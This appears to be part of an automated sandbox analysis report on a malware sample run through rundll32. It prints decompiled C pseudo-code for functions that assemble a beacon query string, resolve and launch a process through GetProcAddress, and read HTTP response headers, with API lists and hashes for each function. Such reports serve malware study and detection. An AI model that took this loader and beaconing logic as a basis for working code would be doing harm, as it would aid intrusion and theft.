                    • Opcode Fuzzy Hash: 3bb7d0aa9a2ae3135333d5f894b5032c3b3784ffafaf7db07953b414690d8541
                    • Instruction Fuzzy Hash: 8981B270E00149AFCF11DBB58D8DE5B77FEAB887447280E65E509D3204EBB6DA50CB60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C92B91 Relevance: 37.8, APIs: 25, Instructions: 278memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 76%
                    			E02C92B91(long __eax, intOrPtr _a4, void* _a8, void* _a16, void* _a20, void* _a24, intOrPtr _a32, void* _a40, intOrPtr _a44) {
				intOrPtr _v4;
				signed int _v8;
				int* _v12;
				char* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				void* __ebx;
				void* __edi;
				long _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t76;
				intOrPtr _t77;
				int _t80;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t87;
				void* _t89;
				void* _t92;
				intOrPtr _t96;
				intOrPtr _t100;
				intOrPtr* _t102;
				int* _t108;
				int* _t118;
				char** _t120;
				char* _t121;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t130;
				intOrPtr* _t132;
				intOrPtr _t135;
				intOrPtr _t139;
				int _t142;
				intOrPtr _t144;
				int _t147;
				intOrPtr _t148;
				int _t151;
				void* _t152;
				intOrPtr _t166;
				void* _t168;
				int _t169;
				void* _t170;
				void* _t171;
				long _t172;
				intOrPtr* _t173;
				intOrPtr* _t174;
				intOrPtr _t175;
				intOrPtr* _t178;
				char** _t181;
				char** _t183;
				char** _t184;
				void* _t189;

				_t68 = __eax;
				_t181 =  &_v16;
				_t152 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t68 = GetTickCount();
				}
				_t69 =  *0x2c9a018; // 0x14d7c998
				asm("bswap eax");
				_t70 =  *0x2c9a014; // 0x3a87c8cd
				asm("bswap eax");
				_t71 =  *0x2c9a010; // 0xd8d2f808
				asm("bswap eax");
				_t72 =  *0x2c9a00c; // 0xeec43f25
				asm("bswap eax");
				_t73 =  *0x2c9a348; // 0x278d5a8
				_t3 = _t73 + 0x2c9b5ac; // 0x74666f73
				_t169 = wsprintfA(_t152, _t3, 3, 0x3d18f, _t72, _t71, _t70, _t69,  *0x2c9a02c,  *0x2c9a004, _t68);
				_t76 = E02C9467F();
				_t77 =  *0x2c9a348; // 0x278d5a8
				_t4 = _t77 + 0x2c9b575; // 0x74707526
				_t80 = wsprintfA(_t169 + _t152, _t4, _t76);
				_t183 =  &(_t181[0xe]);
				_t170 = _t169 + _t80;
				if(_a24 != 0) {
					_t148 =  *0x2c9a348; // 0x278d5a8
					_t8 = _t148 + 0x2c9b508; // 0x732526
					_t151 = wsprintfA(_t170 + _t152, _t8, _a24);
					_t183 =  &(_t183[3]);
					_t170 = _t170 + _t151;
				}
				_t81 =  *0x2c9a348; // 0x278d5a8
				_t10 = _t81 + 0x2c9b89e; // 0x5428e46
				_t153 = _t10;
				_t189 = _a20 - _t10;
				_t12 = _t81 + 0x2c9b246; // 0x74636126
				_t164 = 0 | _t189 == 0x00000000;
				_t171 = _t170 + wsprintfA(_t170 + _t152, _t12, _t189 == 0);
				_t85 =  *0x2c9a36c; // 0x54295b0
				_t184 =  &(_t183[3]);
				if(_t85 != 0) {
					_t144 =  *0x2c9a348; // 0x278d5a8
					_t16 = _t144 + 0x2c9b8be; // 0x3d736f26
					_t147 = wsprintfA(_t171 + _t152, _t16, _t85);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t147;
				}
				_t86 = E02C9472F(_t153);
				_a32 = _t86;
				if(_t86 != 0) {
					_t139 =  *0x2c9a348; // 0x278d5a8
					_t19 = _t139 + 0x2c9b8d0; // 0x736e6426
					_t142 = wsprintfA(_t171 + _t152, _t19, _t86);
					_t184 =  &(_t184[3]);
					_t171 = _t171 + _t142;
					HeapFree( *0x2c9a2d8, 0, _a40);
				}
				_t87 = E02C91340();
				_a32 = _t87;
				if(_t87 != 0) {
					_t135 =  *0x2c9a348; // 0x278d5a8
					_t23 = _t135 + 0x2c9b8c5; // 0x6f687726
					wsprintfA(_t171 + _t152, _t23, _t87);
					_t184 =  &(_t184[3]);
					HeapFree( *0x2c9a2d8, 0, _a40);
				}
				_t166 =  *0x2c9a3cc; // 0x5429600
				_t89 = E02C96B59(0x2c9a00a, _t166 + 4);
				_t172 = 0;
				_a16 = _t89;
				if(_t89 == 0) {
					L30:
					HeapFree( *0x2c9a2d8, _t172, _t152);
					return _a44;
				} else {
					_t92 = RtlAllocateHeap( *0x2c9a2d8, 0, 0x800);
					_a24 = _t92;
					if(_t92 == 0) {
						L29:
						HeapFree( *0x2c9a2d8, _t172, _a8);
						goto L30;
					}
					E02C92915(GetTickCount());
					_t96 =  *0x2c9a3cc; // 0x5429600
					__imp__(_t96 + 0x40);
					asm("lock xadd [eax], ecx");
					_t100 =  *0x2c9a3cc; // 0x5429600
					__imp__(_t100 + 0x40);
					_t102 =  *0x2c9a3cc; // 0x5429600
					_t168 = E02C96675(1, _t164, _t152,  *_t102);
					asm("lock xadd [eax], ecx");
					if(_t168 == 0) {
						L28:
						HeapFree( *0x2c9a2d8, _t172, _a16);
						goto L29;
					}
					StrTrimA(_t168, 0x2c99280);
					_push(_t168);
					_t108 = E02C97563();
					_v12 = _t108;
					if(_t108 == 0) {
						L27:
						HeapFree( *0x2c9a2d8, _t172, _t168);
						goto L28;
					}
					_t173 = __imp__;
					 *_t173(_t168, _a8);
					 *_t173(_a4, _v12);
					_t174 = __imp__;
					 *_t174(_v4, _v24);
					_t175 = E02C96536( *_t174(_v12, _t168), _v20);
					_v36 = _t175;
					if(_t175 == 0) {
						_v8 = 8;
						L25:
						E02C963F6();
						L26:
						HeapFree( *0x2c9a2d8, 0, _v40);
						_t172 = 0;
						goto L27;
					}
					_t118 = E02C96F7D(_t152, 0xffffffffffffffff, _t168,  &_v24);
					_v12 = _t118;
					if(_t118 == 0) {
						_t178 = _v24;
						_v20 = E02C9597D(_t178, _t175, _v16, _v12);
						_t126 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t126 + 0x80))(_t126);
						_t128 =  *((intOrPtr*)(_t178 + 8));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
						_t130 =  *((intOrPtr*)(_t178 + 4));
						 *((intOrPtr*)( *_t130 + 8))(_t130);
						_t132 =  *_t178;
						 *((intOrPtr*)( *_t132 + 8))(_t132);
						E02C961DA(_t178);
					}
					if(_v8 != 0x10d2) {
						L20:
						if(_v8 == 0) {
							_t120 = _v16;
							if(_t120 != 0) {
								_t121 =  *_t120;
								_t176 =  *_v12;
								_v16 = _t121;
								wcstombs(_t121, _t121,  *_v12);
								 *_v24 = E02C9673A(_v16, _v16, _t176 >> 1);
							}
						}
						goto L23;
					} else {
						if(_v16 != 0) {
							L23:
							E02C961DA(_v32);
							if(_v12 == 0 || _v8 == 0x10d2) {
								goto L26;
							} else {
								goto L25;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L20;
					}
				}
			}






























































                    0x02c92b91
                    0x02c92b91
                    0x02c92b95
                    0x02c92b9c
                    0x02c92ba6
                    0x02c92ba8
                    0x02c92ba8
                    0x02c92bb5
                    0x02c92bc0
                    0x02c92bc3
                    0x02c92bce
                    0x02c92bd1
                    0x02c92bd6
                    0x02c92bd9
                    0x02c92bde
                    0x02c92be1
                    0x02c92bed
                    0x02c92bfa
                    0x02c92bfc
                    0x02c92c02
                    0x02c92c07
                    0x02c92c12
                    0x02c92c14
                    0x02c92c17
                    0x02c92c1e
                    0x02c92c20
                    0x02c92c29
                    0x02c92c34
                    0x02c92c36
                    0x02c92c39
                    0x02c92c39
                    0x02c92c3b
                    0x02c92c40
                    0x02c92c40
                    0x02c92c48
                    0x02c92c4c
                    0x02c92c52
                    0x02c92c5d
                    0x02c92c5f
                    0x02c92c64
                    0x02c92c69
                    0x02c92c6c
                    0x02c92c71
                    0x02c92c7c
                    0x02c92c7e
                    0x02c92c81
                    0x02c92c81
                    0x02c92c83
                    0x02c92c8e
                    0x02c92c94
                    0x02c92c97
                    0x02c92c9c
                    0x02c92ca7
                    0x02c92ca9
                    0x02c92cb0
                    0x02c92cba
                    0x02c92cba
                    0x02c92cbc
                    0x02c92cc1
                    0x02c92cc7
                    0x02c92cca
                    0x02c92ccf
                    0x02c92cd9
                    0x02c92cdb
                    0x02c92cea
                    0x02c92cea
                    0x02c92cec
                    0x02c92cfa
                    0x02c92cff
                    0x02c92d01
                    0x02c92d07
                    0x02c92ee7
                    0x02c92eef
                    0x02c92efc
                    0x02c92d0d
                    0x02c92d19
                    0x02c92d1f
                    0x02c92d25
                    0x02c92eda
                    0x02c92ee5
                    0x00000000
                    0x02c92ee5
                    0x02c92d31
                    0x02c92d36
                    0x02c92d3f
                    0x02c92d50
                    0x02c92d54
                    0x02c92d5d
                    0x02c92d63
                    0x02c92d70
                    0x02c92d7d
                    0x02c92d83
                    0x02c92ecd
                    0x02c92ed8
                    0x00000000
                    0x02c92ed8
                    0x02c92d8f
                    0x02c92d95
                    0x02c92d96
                    0x02c92d9b
                    0x02c92da1
                    0x02c92ec3
                    0x02c92ecb
                    0x00000000
                    0x02c92ecb
                    0x02c92dab
                    0x02c92db2
                    0x02c92dbc
                    0x02c92dc2
                    0x02c92dcc
                    0x02c92dde
                    0x02c92de0
                    0x02c92de6
                    0x02c92eff
                    0x02c92eae
                    0x02c92eae
                    0x02c92eb3
                    0x02c92ebf
                    0x02c92ec1
                    0x00000000
                    0x02c92ec1
                    0x02c92df1
                    0x02c92df6
                    0x02c92dfc
                    0x02c92e07
                    0x02c92e12
                    0x02c92e16
                    0x02c92e1c
                    0x02c92e22
                    0x02c92e28
                    0x02c92e2b
                    0x02c92e31
                    0x02c92e34
                    0x02c92e39
                    0x02c92e3d
                    0x02c92e3d
                    0x02c92e4a
                    0x02c92e58
                    0x02c92e5d
                    0x02c92e5f
                    0x02c92e65
                    0x02c92e6b
                    0x02c92e6d
                    0x02c92e72
                    0x02c92e76
                    0x02c92e92
                    0x02c92e92
                    0x02c92e65
                    0x00000000
                    0x02c92e4c
                    0x02c92e51
                    0x02c92e94
                    0x02c92e98
                    0x02c92ea2
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c92ea2
                    0x02c92e53
                    0x00000000
                    0x02c92e53
                    0x02c92e4a

                    APIs
                    • GetTickCount.KERNEL32 ref: 02C92BA8
                    • wsprintfA.USER32 ref: 02C92BF5
                    • wsprintfA.USER32 ref: 02C92C12
                    • wsprintfA.USER32 ref: 02C92C34
                    • wsprintfA.USER32 ref: 02C92C5B
                    • wsprintfA.USER32 ref: 02C92C7C
                    • wsprintfA.USER32 ref: 02C92CA7
                    • HeapFree.KERNEL32(00000000,?), ref: 02C92CBA
                    • wsprintfA.USER32 ref: 02C92CD9
                    • HeapFree.KERNEL32(00000000,?), ref: 02C92CEA
                      • Part of subcall function 02C96B59: RtlEnterCriticalSection.NTDLL(054295C0), ref: 02C96B75
                      • Part of subcall function 02C96B59: RtlLeaveCriticalSection.NTDLL(054295C0), ref: 02C96B93
                    • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02C92D19
                    • GetTickCount.KERNEL32 ref: 02C92D2B
                    • RtlEnterCriticalSection.NTDLL(054295C0), ref: 02C92D3F
                    • RtlLeaveCriticalSection.NTDLL(054295C0), ref: 02C92D5D
                      • Part of subcall function 02C96675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,02C93ECE,00000000,05429600), ref: 02C966A0
                      • Part of subcall function 02C96675: lstrlen.KERNEL32(00000000,?,7491C740,02C93ECE,00000000,05429600), ref: 02C966A8
                      • Part of subcall function 02C96675: strcpy.NTDLL ref: 02C966BF
                      • Part of subcall function 02C96675: lstrcat.KERNEL32(00000000,00000000), ref: 02C966CA
                      • Part of subcall function 02C96675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,02C93ECE,?,7491C740,02C93ECE,00000000,05429600), ref: 02C966E7
                    • StrTrimA.SHLWAPI(00000000,02C99280,?,05429600), ref: 02C92D8F
                      • Part of subcall function 02C97563: lstrlen.KERNEL32(05429BD0,00000000,00000000,00000000,02C93EF9,00000000), ref: 02C97573
                      • Part of subcall function 02C97563: lstrlen.KERNEL32(?), ref: 02C9757B
                      • Part of subcall function 02C97563: lstrcpy.KERNEL32(00000000,05429BD0), ref: 02C9758F
                      • Part of subcall function 02C97563: lstrcat.KERNEL32(00000000,?), ref: 02C9759A
                    • lstrcpy.KERNEL32(00000000,?), ref: 02C92DB2
                    • lstrcpy.KERNEL32(?,?), ref: 02C92DBC
                    • lstrcat.KERNEL32(?,?), ref: 02C92DCC
                    • lstrcat.KERNEL32(?,00000000), ref: 02C92DD3
                      • Part of subcall function 02C96536: lstrlen.KERNEL32(?,00000000,05429DD8,00000000,02C96F0A,05429FFB,43175AC3,?,?,?,?,43175AC3,00000005,02C9A00C,4D283A53,?), ref: 02C9653D
                      • Part of subcall function 02C96536: mbstowcs.NTDLL ref: 02C96566
                      • Part of subcall function 02C96536: memset.NTDLL ref: 02C96578
                    • wcstombs.NTDLL ref: 02C92E76
                      • Part of subcall function 02C9597D: SysAllocString.OLEAUT32(?), ref: 02C959B8
                      • Part of subcall function 02C961DA: RtlFreeHeap.NTDLL(00000000,00000000,02C96383,00000000,?,00000000,00000000), ref: 02C961E6
                    • HeapFree.KERNEL32(00000000,?), ref: 02C92EBF
                    • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C92ECB
                    • HeapFree.KERNEL32(00000000,?,?,05429600), ref: 02C92ED8
                    • HeapFree.KERNEL32(00000000,?), ref: 02C92EE5
                    • HeapFree.KERNEL32(00000000,?), ref: 02C92EEF
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Heap$Free$wsprintf$lstrlen$CriticalSectionlstrcat$lstrcpy$CountEnterLeaveTickTrim$AllocAllocateStringmbstowcsmemsetstrcpywcstombs
                    • String ID:
                    • API String ID: 1185349883-0
                    • Opcode ID: a8882f32bd90b38fc8cee5580f313913adfebcfce8142e9467874192c0922778
                    • Instruction ID: 72e84f0f7bdcb56708fecab5cd37cdb5f29f58a7ce525656b718b7555a548e1b
                    • Opcode Fuzzy Hash: a8882f32bd90b38fc8cee5580f313913adfebcfce8142e9467874192c0922778
                    • Instruction Fuzzy Hash: E4A18A71900210AFCB11EB64DC8CF5A7BE8FF88754F150A28F889D7220D732DA65DB92
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C97238 Relevance: 13.6, APIs: 9, Instructions: 145stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 43%
                    			E02C97238(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				void* __edi;
				void* __esi;
				intOrPtr _t58;
				signed int _t60;
				signed int _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t70;
				void* _t72;
				void* _t75;
				void* _t76;
				intOrPtr _t80;
				WCHAR* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				intOrPtr _t92;
				intOrPtr* _t102;
				signed int _t103;
				void* _t104;
				intOrPtr _t105;
				void* _t107;
				intOrPtr* _t115;
				void* _t119;
				intOrPtr _t125;

				_t58 =  *0x2c9a3dc; // 0x5429c80
				_v24 = _t58;
				_v28 = 8;
				_v20 = GetTickCount();
				_t60 = E02C96ABD();
				_t103 = 5;
				_t98 = _t60 % _t103 + 6;
				_t62 = E02C96ABD();
				_t117 = _t62 % _t103 + 6;
				_v32 = _t62 % _t103 + 6;
				_t64 = E02C942E9(_t60 % _t103 + 6);
				_v16 = _t64;
				if(_t64 != 0) {
					_t66 = E02C942E9(_t117);
					_v12 = _t66;
					if(_t66 != 0) {
						_push(5);
						_t104 = 0xa;
						_t119 = E02C9398D(_t104,  &_v20);
						if(_t119 == 0) {
							_t119 = 0x2c9918c;
						}
						_t70 = E02C95FA1(_v24);
						_v8 = _t70;
						if(_t70 != 0) {
							_t115 = __imp__;
							_t72 =  *_t115(_t119);
							_t75 =  *_t115(_v8);
							_t76 =  *_t115(_a4);
							_t80 = E02C933DC(lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76 + lstrlenW(_a8) + _t72 + _v32 + _t98 + _t72 + _v32 + _t98 + 0xbc + _t75 + _t76);
							_v24 = _t80;
							if(_t80 != 0) {
								_t105 =  *0x2c9a348; // 0x278d5a8
								_t102 =  *0x2c9a138; // 0x2c97ddd
								_t28 = _t105 + 0x2c9bd10; // 0x530025
								 *_t102(_t80, _t28, _t119, _t119, _v16, _v12, _v12, _v16, _a4, _v8, _a8);
								_push(4);
								_t107 = 5;
								_t83 = E02C9398D(_t107,  &_v20);
								_a8 = _t83;
								if(_t83 == 0) {
									_a8 = 0x2c99190;
								}
								_t84 =  *_t115(_a8);
								_t85 =  *_t115(_v8);
								_t86 =  *_t115(_a4);
								_t125 = E02C933DC(lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + lstrlenW(_a12) + _t84 + _t84 + _t85 + _t86 + 0x13a);
								if(_t125 == 0) {
									E02C961DA(_v24);
								} else {
									_t92 =  *0x2c9a348; // 0x278d5a8
									_t44 = _t92 + 0x2c9ba20; // 0x73006d
									 *_t102(_t125, _t44, _a8, _a8, _a4, _v8, _a12);
									 *_a16 = _v24;
									_v28 = _v28 & 0x00000000;
									 *_a20 = _t125;
								}
							}
							E02C961DA(_v8);
						}
						E02C961DA(_v12);
					}
					E02C961DA(_v16);
				}
				return _v28;
			}



































                    0x02c9723e
                    0x02c97246
                    0x02c97249
                    0x02c97256
                    0x02c97259
                    0x02c97260
                    0x02c97267
                    0x02c9726a
                    0x02c97277
                    0x02c9727a
                    0x02c9727d
                    0x02c97282
                    0x02c97287
                    0x02c9728f
                    0x02c97294
                    0x02c97299
                    0x02c9729f
                    0x02c972a3
                    0x02c972ac
                    0x02c972b0
                    0x02c972b2
                    0x02c972b2
                    0x02c972ba
                    0x02c972bf
                    0x02c972c4
                    0x02c972ca
                    0x02c972d1
                    0x02c972e2
                    0x02c972e9
                    0x02c972fb
                    0x02c97300
                    0x02c97305
                    0x02c9730e
                    0x02c97317
                    0x02c97320
                    0x02c97336
                    0x02c9733b
                    0x02c9733f
                    0x02c97343
                    0x02c97348
                    0x02c9734d
                    0x02c9734f
                    0x02c9734f
                    0x02c97359
                    0x02c97362
                    0x02c97369
                    0x02c97385
                    0x02c97389
                    0x02c973c2
                    0x02c9738b
                    0x02c9738e
                    0x02c97396
                    0x02c973a7
                    0x02c973af
                    0x02c973b7
                    0x02c973bb
                    0x02c973bb
                    0x02c97389
                    0x02c973ca
                    0x02c973ca
                    0x02c973d2
                    0x02c973d2
                    0x02c973da
                    0x02c973da
                    0x02c973e6

                    APIs
                    • GetTickCount.KERNEL32 ref: 02C97250
                    • lstrlen.KERNEL32(00000000,00000005), ref: 02C972D1
                    • lstrlen.KERNEL32(?), ref: 02C972E2
                    • lstrlen.KERNEL32(00000000), ref: 02C972E9
                    • lstrlenW.KERNEL32(80000002), ref: 02C972F0
                    • lstrlen.KERNEL32(?,00000004), ref: 02C97359
                    • lstrlen.KERNEL32(?), ref: 02C97362
                    • lstrlen.KERNEL32(?), ref: 02C97369
                    • lstrlenW.KERNEL32(?), ref: 02C97370
                      • Part of subcall function 02C961DA: RtlFreeHeap.NTDLL(00000000,00000000,02C96383,00000000,?,00000000,00000000), ref: 02C961E6
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: lstrlen$CountFreeHeapTick
                    • String ID:
                    • API String ID: 2535036572-0
                    • Opcode ID: 4db8f3aa72120ced0458ac59b6dd554fea545f9aec8ccdc4f05d3aa59ede5419
                    • Instruction ID: 8877380f854d510431fc899a3cf329b3d642bcd9d61b6319e0eb1bb01ad92c56
                    • Opcode Fuzzy Hash: 4db8f3aa72120ced0458ac59b6dd554fea545f9aec8ccdc4f05d3aa59ede5419
                    • Instruction Fuzzy Hash: E2517C72D40219ABCF12AFA4DC48ADE7BB6FF84314F158065ED18A7250DB35CA25EF90
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C937DF Relevance: 10.6, APIs: 7, Instructions: 109librarymemoryloaderCOMMON
                    Download Yara Rule
                    C-Code - Quality: 73%
                    			E02C937DF(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E02C96BF9(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E02C97AB0( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x2c9a300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x2c9a348; // 0x278d5a8
					_t18 = _t47 + 0x2c9b706; // 0x73797325
					_t68 = E02C9127E(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x2c9a348; // 0x278d5a8
						_t19 = _t50 + 0x2c9b86c; // 0x5428e14
						_t20 = _t50 + 0x2c9b3f6; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E02C95B56();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E02C95B56();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x2c9a2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E02C961DA(_t70);
				goto L12;
			}


















                    0x02c937e7
                    0x02c937e7
                    0x02c937f6
                    0x02c937fd
                    0x02c93802
                    0x02c9390f
                    0x02c93916
                    0x02c93916
                    0x02c93811
                    0x02c93819
                    0x02c9381c
                    0x02c93821
                    0x02c93836
                    0x02c9383c
                    0x02c9383d
                    0x02c93840
                    0x02c93846
                    0x02c93849
                    0x02c9384e
                    0x02c93856
                    0x02c93862
                    0x02c93866
                    0x02c938f6
                    0x02c9386c
                    0x02c9386c
                    0x02c93871
                    0x02c93878
                    0x02c9388c
                    0x02c93890
                    0x02c938df
                    0x02c93892
                    0x02c93893
                    0x02c9389a
                    0x02c938b3
                    0x02c938b5
                    0x02c938b9
                    0x02c938c0
                    0x02c938da
                    0x02c938c2
                    0x02c938cb
                    0x02c938d0
                    0x02c938d0
                    0x02c938c0
                    0x02c938ee
                    0x02c938ee
                    0x02c93866
                    0x02c938fd
                    0x02c93906
                    0x02c9390a
                    0x00000000

                    APIs
                      • Part of subcall function 02C96BF9: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,02C937FB,?,?,?,?,00000000,00000000), ref: 02C96C1E
                      • Part of subcall function 02C96BF9: GetProcAddress.KERNEL32(00000000,7243775A), ref: 02C96C40
                      • Part of subcall function 02C96BF9: GetProcAddress.KERNEL32(00000000,614D775A), ref: 02C96C56
                      • Part of subcall function 02C96BF9: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 02C96C6C
                      • Part of subcall function 02C96BF9: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 02C96C82
                      • Part of subcall function 02C96BF9: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 02C96C98
                    • memset.NTDLL ref: 02C93849
                      • Part of subcall function 02C9127E: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,02C93862,73797325), ref: 02C9128F
                      • Part of subcall function 02C9127E: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 02C912A9
                    • GetModuleHandleA.KERNEL32(4E52454B,05428E14,73797325), ref: 02C9387F
                    • GetProcAddress.KERNEL32(00000000), ref: 02C93886
                    • HeapFree.KERNEL32(00000000,00000000), ref: 02C938EE
                      • Part of subcall function 02C95B56: GetProcAddress.KERNEL32(36776F57,02C92425), ref: 02C95B71
                    • CloseHandle.KERNEL32(00000000,00000001), ref: 02C938CB
                    • CloseHandle.KERNEL32(?), ref: 02C938D0
                    • GetLastError.KERNEL32(00000001), ref: 02C938D4
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
                    • String ID:
                    • API String ID: 3075724336-0
                    • Opcode ID: 0be686f516c9e6a84064f019f42379ef0bfd8f5e4e04d8a2d0623fa5849d2987
                    • Instruction ID: 65cde0052e5670cdbe82cd92af160cd052c0e4bad8ef793dc78e96b0c6878249
                    • Opcode Fuzzy Hash: 0be686f516c9e6a84064f019f42379ef0bfd8f5e4e04d8a2d0623fa5849d2987
                    • Instruction Fuzzy Hash: 52312CB2D00208AFDF11AFA5DC8CA9EBBBDEF08344F104569E615A7110D7319A58DBA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C93FA5 Relevance: 10.6, APIs: 7, Instructions: 92networksynchronizationCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C93FA5(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E02C933DC(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E02C961DA(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E02C916B2( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}














                    0x02c93fa5
                    0x02c93fa5
